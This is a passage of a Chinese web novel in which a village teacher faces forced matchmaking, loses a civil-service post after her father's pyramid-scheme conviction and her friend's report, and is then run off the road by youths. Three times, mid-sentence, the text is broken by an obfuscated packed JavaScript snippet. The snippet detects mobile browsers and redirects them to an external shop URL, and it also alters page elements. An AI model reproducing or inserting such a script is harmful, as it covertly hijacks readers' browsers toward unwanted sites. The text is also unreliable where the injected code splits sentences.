姜颂不知怎地,从他的笑容里看出了一点意味深长的意思。 他在放心什么? 没等她想明白,车子开到了她家门口。 姜颂下车往家走,总觉得背后有人在看她。她回头望去,刚掉好头的教练车正好发动。 直到她在家里的饭桌上再次见到赵衡。 她才明白他那句“那我就放心了”代表着什么。 31. 第 31 章 很久之前,姜颂听说过科目三要上路考试这件事,她自认早就做好了心理准备。 但她没准备好只练三天就去考试。 坐在驾驶位上的每一秒,她都感觉比当年的高考更为惊心动魄。尤其是车上除了她自己还有三个人,四舍五入,她手里攥着的根本就不是方向盘,而是一车人的小命。 练完一天下来,她下了车之后双腿还在发软,丢了魂儿似地回到家。 正好姜母在门口站着,姜颂筋疲力尽,木着一张小脸说:“我晚上不吃了。” 姜母:“怎么不吃了?吃点吧,今天做了你喜欢的油爆虾。” 姜颂摆摆手:“不想吃,你们吃吧,我太累了。” 姜母拉住她。 姜颂回头看她,姜母有些犹豫地开口道:“家里来客人了,你得见见,多少吃点。” 环顾四周,姜颂没看见任何交通工具:“谁啊?” 姜母欲言又止:“你先进去,看见就知道了。” 姜颂狐疑地看了眼母亲,没拒绝。 母女俩一起进屋,姜颂还在想着究竟是什么客人的时候,门帘一掀,她猝然对上了一双笑得眯成缝的眼。 赵衡笑眯眯地看着她:“姜老师。” 姜颂准备迎接客人的笑脸缓缓消失。 她胸口起伏了一下,目光在整屋人的脸上一一扫过,每个人都在盯着她。 她还有什么不明白的。 还是姜彪率先打破了一屋子结冰似的气氛:“大侄女快进来,别在门口站着了,快来!” 姜颂一动不动。 姜母轻轻扯了扯她,姜颂平静地将袖子从她手里抽离。 “好歹是村长儿子,就当给妈个面子,把这顿饭吃完行吗?”姜母小声在她耳边恳求。 许久。 姜颂面无表情地坐下来。 饭局开始,她一句话也不肯说,谁来递话她最多嗯两声,气压低得瘆人。席间所有人都在客套地跟赵衡推杯换盏,她冷眼旁观,产生了一种自己才是外人的荒诞感。 姜颂一只接一只地剥油爆虾,等到所有人都吃完甚至坐着聊了好一会儿天了,她还是在那慢条斯理地剥,任谁也能看得出来她在等着送客。 赵衡见她没有搭理他的意思,也不恼,只笑吟吟地跟众人告辞,姜颂当做没听见。 姜父神色已有些不悦,但念在赵衡在不想闹得太难看,只端出一副长辈的架势训她:“客人要走了,你在那坐得那么稳当像什么话!” 姜颂幽幽抬眼望着已经起身准备送这位“贵客”出门的众人,最后将视线落在赵衡身上,她皮笑肉不笑,吐出四个字:“慢走不送。” 接着继续低头剥虾。 姜母赶紧赔着笑,一家人簇拥着赵衡出门。 说话声渐远,黄豆的犬吠却愈发激烈。姜颂静静地坐着,剥完最后一节虾壳,把虾肉吃掉,抽了张纸巾仔仔细细地擦干净手指,也不急着回房间,气定神闲地等待着。 外面,黄豆不叫了。 又急又重的脚步声越来越近,姜颂没什么情绪地跟怒目圆睁的父亲对上视线。 “书都读到狗肚子里去了,你给人甩什么脸?懂不懂礼貌,懂不懂尊重人!”姜父劈头盖脸地指着她的鼻子骂。 姜颂在他愤怒的目光下缓缓站起身。 “这个家里有人尊重过我吗?”她眼神冰冷地睨着他,“我说我要相亲了吗?你们把他叫到家里吃饭,跟我商量过吗?” “跟你商量什么?我是你老子!你是长大了赚钱了觉得自己翅膀硬了,我看你就该马上嫁出去,找个男人好好看着你,省得整天想着往外跑!” 姜父气到口不择言,让姜颂一下子就明白今天这一出是为了什么。 她扫了旁边的奶奶一眼:“都知道了是吧?” 姜奶奶飞快错开眼。 姜颂冷笑:“那正好,本来我还没决定要考,但是如果你们企图用结婚把我绑在这里的话——” 她一字一句,掷地有声:“那我还非、考、不、可了。” 当天晚上,姜颂跟家人大吵了一架,想到晚上还要跟奶奶共处一室,她烦也烦死了,临时跑到学校宿舍住了一晚。 她给杨苏发了消息,决定要跟她一起去上那个线下班。 第二天,杨苏一早起来看见消息,兴高采烈地来接她准备一起去报名,姜颂回家收拾行李,全程没跟父母多说一句,拉着行李箱头也不回地上了杨苏的车。 翌日,姜杨二人一同住进公考机构安排的酒店双人标间,开始了为期两个多月的封闭式训练营。 学了几天后,姜颂发现那些考试内容和她当年考教师编的内容有些重合,学起来竟没有她想象的那么费劲。 筛岗、报名、考试……一眨眼已是四月份。 出成绩那天是杨苏先给她打的电话,彼时的她正缩在学校宿舍的被窝里准备第二天的新课。 过年那几天她回过一次家,吵完那场架后情绪没有消解,在见面时被压抑成古怪的气氛。 与此同时,她发现家里多了好些保健品,多到占据了她房间的一角。 姜母说:“哦,那是你大伯拿来的,说是从一个老板那进的货,等年后卖出去能赚好大一笔钱。” 姜颂隐隐觉得有些不对劲,问她:“你跟我爸没参与吧?” “没,我们哪有钱啊。” 姜颂看了眼那一堆货,认真叮嘱了姜母几句,叫他们无论如何不要参与,她有点怀疑这是某种传/销手段。 姜母吓得连连应声,说回头就嘱咐姜父。 姜母趁着过年这个契机替姜父给姜颂道歉,给了她两个红包,让她别生气。 姜颂什么也没说,但寒假结束后,她回来上班,没再住宿舍。只是没过几天,她被迫相亲的频率越来越频繁,几乎隔几天一下班就能见到一张新的男性面孔。 姜颂忍了三次,见到第四个人的时候忍无可忍地住进了学校宿舍。 宿舍条件一般,供暖非常差,冬天人住在里面是有些冷的,只能靠小太阳取暖。只有离家稍远的老师们中午会在这将就一下。因此,晚上的宿舍只有姜颂一个人。 她按下免提,下床去拿笔记本电脑。杨苏的声音从听筒里传出:“我居然是岗一,我自己都没想到,刚给我妈打电话我妈都高兴哭了!你快查查,要是也进面了咱俩还可以一起报面试班!” 看不见她的脸,姜颂依然能想象到杨苏眉飞色舞的表情。她笑了笑,抱着电脑回到被窝,裹上被子,等待电脑开机:“我选的岗报了好多人,估计没戏吧。” “那不一定了,我觉得你学得挺好的,培训班模拟考试的时候你每次都比我高,我行你也一定行的。” 姜颂虽然嘴上这么说,可毕竟废寝忘食地学了两个多月,心里多多少少存了一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133591|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝期待。 电脑终于开机,她打开网站,输入信息,点击查询的手指停顿了一下,深吸一口气后果决地点下去。 页面弹出来的一刹那,她停了呼吸。 “查到了吗?”杨苏还在问。 “查、查到了。” 姜颂吞咽了下,缓了好久。 148分,排名第一,比第二名高出13分。 “啊啊啊啊啊我就说你可以的!!!” 杨苏兴奋的尖叫声整晚萦绕在她耳边。这天晚上,姜颂的心情久久未能平静。 这个分数意味着只要她面试不打考官就可以顺利得到岗位。 但也意味着,她要抛弃掉她带的这三十多名学生,去往一个新的城市,开始新的生活了。 杨苏已经连夜找好了面试班,准备明天请假去培训班准备面试,一副撸起袖子加油干,对那个岗位志在必得的架势。 她问她要不要一起去。 姜颂想了一夜,最终没有选择和她并肩作战,只在网上买了个口碑不错的面试老师的网课学习,正好宿舍晚上没人,她就对着手机录像一遍一遍地练习,再回看录像,给自己找问题。 面试时间距离出成绩只有半个月,杨苏抽到的考试日期比她要早一天。姜颂那两天神经一直紧绷,压根没注意往常什么事都要找她叽叽喳喳一通的杨苏在那天格外安静。 等从面试考场出来,她那种紧张情绪淡去,才给杨苏发了消息。 杨苏隔了好久才回她。 【我考砸了。】 她说她答超时了。 姜颂打了电话过去,听着她在电话里崩溃大哭,听她说她今年又回不了家了。 她从考场直奔杨苏家,路上买了杨苏平时最喜欢的那家甜品带去。 杨苏含着泪吃完了那块小蛋糕,说明年还要继续考下去,她就不信考不上了。 姜颂握着她的手给她加油。 体检名单很快出来,姜颂几乎是像做梦一样走完了流程,只差安全渡过公示期。 她脑子里那根弦又绷紧了。 下了课,杨苏跟她一起往办公室走,看她这副紧绷的状态忍俊不禁:“一般到了这个环节不出意外就稳了,不用担心。” “我知道,但是我也不知道为什么,心里就是有点不踏实。” “你这根正苗红的大好青年应该身正不怕影子斜,难不成你有什么违法乱纪的事瞒着我?” “那倒没有。” “那不就得了,安啦。” 姜颂刚想说些什么,一抬头见姜母慌慌张张地跑来。 从她工作以来,姜母从没来过学校找她。 她心头那点没来由的莫名恐慌感忽然找到了源头,瞬间扩大了无数倍。 “姜姜,姜姜!” 姜母冲上来,抓住她。 姜母嘴唇颤抖,六神无主:“你爸……你爸被警察抓走了!” 姜颂脑子里嗡地一声。 “为什么?” “说你爸和你大伯参与传销……”姜母越说声音越小。 眼看着姜颂的脸色一点点沉下去,姜母也顾不得别的了,急得哭出声:“怎么办啊姜姜,你爸不能进去啊,他要是进去了我可怎么办啊……” 姜颂感觉一口气憋在她喉咙里,上不去也下不来。 像一盆冷水从头淋到脚,人间五月,她遍体生寒。 32. 第 32 章 屋内,平日里缭绕的烟味烟消云散,只剩下姜家三代女人。 姜颂坐在中间,两只手臂被奶奶和妈妈一左一右地拉着。在两位长辈的哭求声中,她麻木地看着对面墙壁上挂着的一幅全家福。 那幅全家福是姜骄还没出生时照的,那时她也还是个蹒跚学步的孩子。 照片上的小女孩被母亲抱在怀里,笑得灿烂。 她的童年也有过如此快乐的时刻吗? 她神思游移,不禁在脑海里搜寻有关那时候的回忆,却遗憾地一无所获。 姜奶奶哭得上气不接下气,晃动她的胳膊:“好孙女,你就救救你大伯和你爸吧,咱家就剩这两个男人,他们不能进监狱啊!” “是啊,你爸在好歹家里还有点收入,要是你爸进去了咱家就只能靠你了,再说……再说你不是考公吗,你爸要是留了案底,对你也不好啊,姜姜你就救救他们,行吗?”姜母恳求道。 姜颂淡淡地问姜母:“我有没有跟你说过,让你们俩别去参与,你怎么答应我的?” “我……我……是你大伯说这样来钱快,你爸也不肯听我的,我也没办法啊……” “哎呀现在哪还是说这些的时候啊,姜姜,好孙女,你就答应吧,救救他们,咱家就靠你了!” 姜颂面无表情地看着这两个满脸是泪的女人。 “我能怎么救他们,我又不是法官。” “赵家!找赵家帮忙,他家有关系,上次村东头的那个老于犯事就是走了他家的门路。赵家小子对你有意思的,你上门去好好求求他,也许这事就能解决了!”姜奶奶目光殷切,看她如溺水之人见到浮木。 “原来你们打的是这个主意。”姜颂怔了片刻,忽而低低笑了一声,“要我上门去,卖身是吗?” “反正你早晚是要嫁的,赵家小子人不坏,虽然是二婚,但是家里有钱,还都在一个村,平常还能护着点咱家,没啥不好的。你去求求他,再说也不至于就到非嫁不可的地步,但赵家小子肯定会看在你的面子上松动些的……” “你们把我当什么啊!” 她突如其来的怒吼令两个哭泣的女人同时停止。 她挣脱两人的禁锢,站起身:“我不会去的,他们俩干这种违法的事,被判刑是他们活该!凭什么要我去救!”转身就要往外走。 她什么也不想管了,凭什么要管,凭什么总是她来做牺牲品! “姜姜!” 姜母在身后大声叫她名字。 “咚!” 姜颂听到声音,转头看去,倒映着母亲身影的瞳孔骤然紧缩。 姜母双腿一弯跪在地上,见她停下,急忙膝行至她脚边。 姜母紧紧抓着她的手,仰头望着她:“妈妈求求你了,你就救救他们,就这一次,他们一定不会再犯了。要不这样,妈妈跟你一起去赵家,我来开口,你只要去露个面就行,行吗姜姜?妈妈求求你,求求你了……” 姜奶奶也扑通一下在她面前跪下,抱住她的腿:“奶奶也给你跪下了,你就跟你妈去一趟,把你大伯和爸爸救出来吧!” 妈妈和奶奶一起跪在她身前,给她磕起头来。 咚、咚、咚…… 眼前这荒诞的一切落在她眼底,姜颂用指甲狠命地掐自己的掌心,希望自己此刻身在一场噩梦之中。 她像没有痛觉似的,指甲深深嵌入掌心。 可惜这一切都不是梦。 姜颂抬头看向窗外,用力闭上眼。 她没得选。 姜母带着姜颂和礼物登上赵家的门,是赵衡招待的她们。 赵衡没提任何要求,只跟姜母拉着家常,偶尔看一眼姜颂,说自己会尽力去疏通关系。 临走前,姜颂对他道了谢,赵衡依旧是那副笑眯眯的表情,只要了她的微信,什么也没说,亲自送母女俩出了门。 出门后,姜母回头看了一眼,随后小心翼翼地拉着女儿的手:“姜姜,这次人家帮了大忙,妈妈知道这样很委屈你,但是能不能稍微对人家客气一些,毕竟我们欠了人情,以后在村里还要见面的。” 姜颂看向母亲抓着自己的那双手。 春天的衣服料子轻薄,姜母常年干活儿的手力气不小,此刻紧紧钳住她的胳膊,她几乎是被母亲的力气拖着往前走。她感觉眼下的自己就像一具木偶,所有的喜怒哀乐都被抽空,任由摆布。 她嗯了声。 赵家很快送来事情办妥的消息,姜父和姜大伯由于赵家疏通了关系的缘故而得到了从轻处理,只判了五个月的拘役。 时间一天天过去,她一直在等赵衡的下一步动作,可赵衡索要了她的微信之后再没了任何多余的举动,连一句话都没有发过。 先等来的,是一通来自官方的电话。 电话那头确认了她的身份后,表明来意: “我们接到举报,举报人称你的直系亲属存在违法行为,因此在本次公务员的录取流程中将对你进行延期录取,期间我们会对举报内容进行核实,需要你进行后续的配合。” 接到这通电话的姜颂是平静的。 从她知道父亲犯事的那一刻起,她就料到这样的结果,只是她没想过会是被人举报的。 好事不出门,坏事传千里,一家子都知道她考公的事,她从没指望过他们会替她保守秘密。她不知道暗处有多少双眼睛在盯着她,更无法辨别是哪一双眼睛的主人举报了她。 不过想来想去,好像也怪不得别人举报,因为别人说的都是事实。 她很快接受了现实。她想,可能上天给她安排的使命就是帮助着一拨又一拨的孩子走出这个偏远的小镇,所以命中注定她得不到除此之外的机会。 那她要好好地完成自己的使命,那也是光荣而神圣的事业。 调整好心态,姜颂回到学校,照常备课、上课,宛如无事发生。 端午假期,杨苏约她一起出去旅游,机酒都已定好,姜颂本想旅行结束后把钱一起a给她,可杨苏怎么也不肯收。 六月份的某一天,张元清忽然带来了一大袋喜糖,邀请众人周末去参加她的婚礼,还特别找了姜颂去做她的伴娘。 张元清在姜颂刚来的时候明里暗里帮过她很多次,虽然后来两人接触不如她和杨苏那样多,但姜颂一直记得。 除了礼金,姜颂还特意按照张元清朋友圈发的结婚照用粘土做了一对婚礼人偶摆件,精心包装后在婚礼前一天一起带了过去。 张元清连声赞叹她有心了。 婚房里,张元清已经打扮好,一身繁复的婚纱穿在身上,妆容精致。姜颂也换上了伴娘服,坐在她旁边。 她也是到了才发现,伴娘居然只有她一个。 张元清看出了她的疑惑,笑着问她:“你是不是很奇怪我怎么没有其他的朋友来给我做伴娘?” 姜颂心里是在犯嘀咕,可没想问出口的,这样问显得张元清没有朋友一样,会让人有些尴尬。 不过张元清俨然毫不在意,她说:“我确实没有什么朋友,大多都只是点头之交。这次只邀请了你一个人来做我的伴娘,是觉得你是个挺善良的妹妹,一定愿意帮我这个忙。” 姜颂:“也算不上帮忙,能来亲眼见证你的幸福,我觉得很开心。” “你看,我就说我没找错人。”张元清满意道,接着又说:“其实我有过可以交心的朋友,不过发生了一些事之后我就再也不交朋友了。” 她微笑着看姜颂:“友情,有时候要比爱情还要微妙得多,姜姜,你明白吗?” 姜颂不明白,她傻傻地看着张元清。 “傻孩子。”张元清摇头叹气,笑她,“整天跟你形影不离的不一定是真朋友,有时候某种不平衡的心态作祟,所谓的朋友也会在跟你拥抱的时候毫不留情地从背后扎你一刀。” 她捏了捏姜颂的脸颊:“如果你看不出端倪,这一刀会扎得越来越深,直到要了你的小命哦。” 姜颂一双大眼睛瞪得溜圆,愣愣地消化她的话。 “老婆,我来接你啦!”来接亲的新郎大声朝屋里喊,门外一群人跟着起哄,吵吵嚷嚷,好不热闹。 张元清轻笑,松开她的脸:“回去好好想想我说的话吧。” 姜颂呆在原地。 话说到这个份上,她又不是傻子,怎可能毫无察觉张元清的弦外之音。 只是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145565|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意相信,也不敢相信。 那还不回去的机酒莫名成为了某种猜测的证据。 杨苏作为宾客,也在婚礼酒席上。走流程的时候姜颂忍不住去看台下的她,她兴致缺缺地注视着台上的新人,满脸写着“怎么还不开席”。 杨苏不是会隐藏情绪的人。 于是,婚礼结束后,杨苏开车带她回家,一路上,车内陷入了一种诡异的沉默。 姜颂时不时去看她,却始终没有开口问出那个问题。 一直开到姜颂家所在的那条街的街口,已是夕阳西下。 杨苏轻踩刹车,稳稳停下。 霞光从车窗照进来,投在两个女孩的侧脸上。 “你知道了,是吗?” 杨苏没看她,只是目视前方,缓缓吐出这句话。 姜颂也不敢看她,该慌的明明不是她,她却比杨苏更心慌意乱。 好半晌,姜颂无意识地吞咽了一下:“嗯。” 她听见杨苏吸了一口气,似乎是笑了一声。听她说:“我就知道张元清早晚会告诉你的。” 余光里的杨苏垂着眼,语气里带着一丝解脱的意味:“这样也好,我就不用每天见到你装作无事发生了,真的好累。” 姜颂问:“元清姐是怎么知道的?” “我打举报电话的时候被她听到了。”杨苏回答。 姜颂没再出声。 过了许久,杨苏终于偏头将视线放到她脸上:“你没什么话想骂我吗?我可是毁了你的前途。” “没有。”姜颂说,“你也没做错什么,我的确不符合录取条件,不是你也会有别人,或者先被用人单位查出来取消录取。” 她低下头去:“我只是……没有想过会是你。能不能告诉我为什么?” 杨苏默了默,轻声说:“考试是我拉着你去的,线下班也是我亲手选的,明明我也那么努力,但结果却不如你,我一时有点接受不了,所以……” 杨苏停顿了一下,下意识捏紧方向盘的手忽然松开:“算了,我没有什么可为自己辩解的,是我对不起你。你骂我吧,你应该骂我的。” “我不怪你,苏苏。”姜颂说。 她继续说:“你是我唯一一个好朋友,如果没有你,我可能没有办法在这里坚持这么久,你也帮过我很多很多,我没办法让自己去怪你。” “但是我不能和你继续做朋友了,姜姜。” 姜颂的心因这句话而剧烈地抽痛一下。 杨苏的眼睛在夕阳光的折射下闪着泪光,她说话的声音渐渐染上哭腔:“我只要一看到你,就会想起那天下午拨通电话时那个卑鄙的自己。我亲手毁了我最好朋友的前途,我没办法原谅自己。” “所以姜姜,我们两个就这样吧,不要再做好朋友了。” 姜颂沉默地望进她的泪眼,在那里面看到了自责、悔恨和不舍等等的情绪。 她理解杨苏,一个底色善良的人因为一时情绪上头而做了自己认为的错事,等情绪过去的那一刻,一涌而上的愧疚感对她来说就已经是最大的惩罚了。 友情,的确是微妙的东西,有时候不是说一句我不怪你就可以修复的。那是一根刺,只要触碰到就会一直痛。 她清晰地意识到,她和杨苏再也回不到过去了。 良久,她从嗓子里挤出一个字:“……好。” 眼泪从杨苏的眼眶里滑落,她双手捂住眼睛。黑暗中,安全带松开的咔哒声响起,她被姜颂轻轻地抱住。 姜颂说:“没关系的苏苏,虽然我们没办法做朋友了,但我希望你好好的。我留在这里也没什么不好的,没有你可能我也不会想到要去考公。所以,原谅自己吧,别跟自己较劲了。” 杨苏泣不成声。 姜颂把包里的一包手帕纸塞进她手里:“谢谢你送我回家,我走了,再见。” 她打开车门下车,背对着杨苏的车子向前走,她打开手机把那份机酒钱转给杨苏,顿了片刻,还是没有留言给她。 她把手机揣进口袋,呼出一口气,抬头看向天边,金乌西沉,天边交接处是即将来临的黑暗。 她迎着黑暗,一直往前走,走回家。 33. 第 33 章 又一年深秋。 几场秋雨过后,温度急转直下。 宿舍没有洗衣机,姜颂搬出来之后一般是攒一周的衣服一起拿回家洗。最近天气变凉,她打算回家顺便拿一些厚衣服回去。 进院子时她习惯性往角落的狗窝那里瞄了一眼,远远望见黄豆的食盆里空空的。她回房间找到那箱半个月前买的狗粮,惊奇地发现居然一袋都没少。 她匆匆走近狗窝,仔细一看,黄豆的饭碗里只剩下很浅一层残羹剩饭,已然飘散着难闻的气味。 姜父进去之后,姜母为了维持生计,在隔壁村找了份工,这会儿还没回家,家里只剩下姜奶奶。 她询问狗粮的事,姜奶奶却说:“家里有的是剩饭,那狗粮多贵啊,小土狗吃点剩饭就挺好的。” 小黄豆瘦了一大圈,姜颂心疼坏了。姜母不在家,她根本不能指望姜奶奶能好好喂黄豆,不放心就只能每天回一趟家亲自喂。 这样一来,又要往返学校和家里。天气越来越寒冷,骑小电炉实在是有点扛不住。 买车的念头再度燃起,她又在网上看起车来。 可网上五花八门的测评信息实在太过杂乱,一股脑儿看得越多,她越不知道该买哪一辆。 买便宜的她总怕自己之后遇到问题会后悔自己没买贵的。买贵的她手里的钱又捉襟见肘,她当初存来准备买房子付首付的钱会一下子清空。 到底是先买车还是先买房,这个问题让她纠结了许久。 时间一晃,到了姜父和姜大伯出狱回家的日子。 姜母和姜奶奶高兴异常,激动得几乎要掉下眼泪来。姜颂却一点也开心不起来,只觉得家里的安生日子恐怕又要到头了。 第二天下午,她接到了母亲的电话,说大伯嚷嚷着晚上要去下馆子庆祝,让她也去,感谢她帮忙上门求人。 太阳真是打西边出来了,有生之年还能等到铁公鸡请客。姜颂十分纳罕,一口答应,说下了班直接去。 镇上的饭店不多,口味好的就那一两家,却足以垄断整个小镇的餐饮业,平时谁家请客基本都是在这几家里面选。 姜颂在这家饭店吃过两次村里人结婚的酒席,轻车熟路找到位置,被老板领进这家店里最好的包厢。 开了门,赵衡和他那位村长父亲正端坐在主位上,朝门口的她投来目光。 姜颂站在原地愣了一会儿。 “小姜是出落得越来越漂亮了!”赵父眉开眼笑,自己往旁边挪,空出了赵衡身边的位置,拍了拍,“快来,孩子,坐这。” 她看向那个位置,没有动。 那个位置非常微妙。如果她坐过去,正好被赵家父子包围,彻底和她的家人隔离开,像是某种默许。 所有人都在等着她的反应,人人脸上都是笑容。只有姜母背对她而坐,没有回头,她看不见她的表情。 她还是太傻了,太阳从西边出来那才是见鬼。 沉默几秒,姜颂也换上一张笑脸混入其中,进门拉开了赵家父子对面的椅子。 “不用了赵叔,我就坐这里吧,待会儿上菜我还能帮着端一端。”她扬声说。 赵父倒没介意,又自然地坐了回去,笑呵呵地说:“没事,你怎么舒服怎么来。” 正说着,饭店老板娘端着托盘来上菜,进门一打眼看到赵父,喜上眉梢:“呀,赵哥,你咋也在这啊!” 老板娘一双眼睛在屋里人身上挨个扫了一圈,重点看了姜颂。 生意人的眼光何其毒辣。 老板娘顿时明了,笑得暧昧不明,也没戳破:“哎赵哥,你看你不早说,这么好的事我可得表示表示。这样,待会儿我送几个菜给你,别嫌少啊!” 赵父也不推辞,算是对老板娘这番意味深长的话语的一种默认:“谢了,下次我再请客,一定带人来你这,给你捧捧场。” “客气啥,你们先吃着,等着哈,剩下的菜马上好!” 姜颂插不上话,她坐在姜母旁边,安静地盯着她。 姜母一会儿喝水,一会儿扣手,就是不肯看她。 她讽刺地翘起唇角。 谁也没有把话说透,她猝不及防地被架了起来,连挣扎的余地都没有。也或许,他们想要的就是这种效果,让她被架在这里,稀里糊涂地答应了才好。 她低头藏起冷冰冰的眼神。 “来!”姜彪倒满酒杯,示意姜父一起给赵父敬酒,“赵大哥,我们哥俩这次多亏有你的照顾才能这么快出来,什么也不说了,都在酒里了!干了!” 姜家两兄弟一饮而尽,赵父笑道:“别客气,以后都是一家人。” 那边的姜彪还想说点什么。 “我也敬您三杯吧。” 柔和却有力的年轻女声在小小的包厢内响起,打断了姜彪未说出口的话。 所有人的目光齐刷刷地朝姜颂投来,连一直躲她的姜母也在此刻惊诧地看她。 下一秒,姜颂在众人的目光注视下缓缓起身,俯身拿过酒瓶给自己倒了满满一杯。 白酒的刺鼻气味冲入她的鼻息,她眼也没眨,端着得体的笑容,对着赵父说:“第一杯。我爸和我大伯的事多谢您肯帮忙,我作为小辈对您感激不尽。” 说完,她一口气喝到见底,眉头都没皱一下。 接着又倒满一杯。 “第二杯。平时您在村里没少照顾我们家。我听说村委会马上要换届选举了,我愿意代表全家为您投选举票,全力支持您的工作。” 没给任何人说话的时间,她喝完紧接着就倒好了第三杯。 她高高举起酒杯。 “第三杯。您刚才说都是一家人,可不嘛,我每次见到您也都觉得特别亲切,听我妈妈说我小时候您还抱过我。我想着正好今天我父母家人都在,我也在这表个态,从今往后,我认您做干爹,只要您不嫌弃,我就把您当成亲生父亲,和赵衡哥一起孝敬您。” “我干了。”她说完,仰头将第三杯喝下。 她的话说得九曲十八弯,意思却再明显不过,三言两语扯下了这顿饭的遮羞布,巧妙地塞进他们嘴里,堵住了他们的话头。 姜颂笑容依旧,坐下来,随手放下酒杯。杯底和桌面相碰,发出嗒的一声,在一室静默中显得无比清晰。 赵父全程微笑着盯着她,不辨喜怒,只说了句“酒量不错”。 哪里不错? 三杯白酒下肚,从食道到胃袋全部都火辣辣的。只有姜颂自己知道这是她第一次喝酒。 喝酒能不能浇愁她不知道,但她觉得酒壮怂人胆应该是真的。 饭吃到一半,她借口说酒喝多了头疼,谁的挽留也没当回事,谁尴不尴尬的她也不想管,转头就走了。 她走在路上晕乎乎地想,真后悔当时一时心软跟着母亲去了赵家求人,明知道赵衡对她有别的心思,她既然从来没想过答应,就不该松口的。现在弄成这样,多少有点过河拆桥、卸磨杀驴的意思,好歹人家是帮了忙。 可她转念一想,又觉得自己根本用不着后悔,因为再出现一次妈妈和奶奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157746|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪下给她磕头的场面,她大抵还是无力招架。 只要她还没离开姜家,就像杨苏说的那般,命运只会反复试探她,等着她防线崩溃,只能妥协。 于是,在这个寒冷的秋夜里,姜颂头脑一热地做了个决定。 她不买车了。 她要先买房子搬出去住,远离她的家。 姜颂步行回到宿舍,头晕得厉害,衣服也没脱,她倒在床铺上,不想动弹。醉晕过去的最后一秒,她想着赵家这事总算告一段落,好歹她今天把话说死了,应该不会再有问题。 她安心地睡过去。 然而。 没过几天,姜颂就在同事那里听说了自己要嫁给赵衡的消息,连同之前她找赵家帮忙的消息也一起在这个小镇上不胫而走,也不知道怎么传出去的。 赵家在雨花镇的地位犹如土皇帝,关注度不可谓不高。 姜颂就此成为了雨花镇居民茶余饭后的话题中心,以至于她下班去常去的那家店吃个饭,老板都对她格外热情,二十块的麻辣烫给她做了双倍的量。 因为,在他们眼中,她即将成为这片土地上话语权最高人家的媳妇。 她登时什么吃饭的心情都没有了,简单扒拉几口,扫了墙上的二维码付了四十块给老板,在老板大惊失色要还她钱的呼喊声中逃也似地离开了。 半路上,又好巧不巧地遇见一帮鬼火少年,赵吉也在其中。 看见她,赵吉再没了那种嬉皮笑脸的神态,眼神里满是敌意。 她当然知道这是因为什么,识趣地快步走开,希望自己赶紧消失在赵吉的视野里。还没走远,她听见身后鬼火少年里的某一位嘻嘻哈哈地打趣:“你后妈啊?” 赵吉让他滚,声音超大的一声怒吼。 姜颂不由得加快脚步,就差跑起来。终于到了拐弯处,不再能感受到身后的数道视线,她走路的速度缓缓慢下来,深深叹了口气。 封闭的小地方就是这样,一有点风吹草动就要被所有人津津乐道很久很久。 这种事没有好的解决办法,只能等时间久了人们自然淡忘,或者运气好的话,期间能有新的新闻覆盖也可以。 好消息是,新的新闻几天后就出现了。 坏消息是,主角还是她。 这天下午,姜颂喂完黄豆从家里骑小电驴回学校宿舍。 天黑得越来越早,她在家里磨蹭了一会儿,出来的时候天色已经完全暗了。 回学校的必经之路上两侧底下全是荒地,路面比荒地要高出一米多,放眼望去能看到远处地里鼓起的无数座小土包,全都是坟墓。白天看还不觉得怎么样,晚上再看过去多少有点阴森。 路边没有几个路灯,她只能打开小电驴前面的灯才能勉强看清路,慢慢地往前骑。 晚上风也大,吹得她睁不开眼。 眯着眼骑了一段距离,寒风呼啸中,她感觉照向前路的灯光陡然明亮了许多,车子正前方投射出她的倒影。 她身后,十来辆鬼火飞驰而来,发动机的轰隆声划过幽静的夜空,刺耳到让她心脏不适。 随着她前方的影子越来越短,她才意识到这群半大孩子是冲着她来的。 没等她给出反应,其中一辆坠在她身后,几乎贴上她的车尾,迫使她无法减速。 又一辆紧贴她身侧穿到她前面,车把一转猛地横了过来! 刺目的大灯猝然晃着姜颂,鬼火上戴着头盔的少年在前后灯光的映照下露出一双恨意满满的眼。 那是赵吉。 34. 第 34 章 姜颂已经来不及思考,急忙全力去捏手刹,电驴轮胎在沙地上打滑,左右摇晃,又被她身后的那辆鬼火抵着前行了一段,终于支撑不住,从路边侧翻下去。 一瞬间,她的视野天旋地转。 她似乎是被甩了出去,眼前全是被强光晃过的白花花的一片,她重重摔在地上,不知撞到了什么东西,痛得她失声尖叫,身体顺着坡度一路滚下,最后咚地一声撞到坚硬的石头上,停止滚动。 她意识模糊地睁眼看向上方橘黄色的车灯灯光,额头上的温热液体渐渐流进她的眼睛。 于是橘黄色的灯光变成了血红色。 好冷。 好疼。 救命。 她没能喊出那声救命,彻底失去了意识。 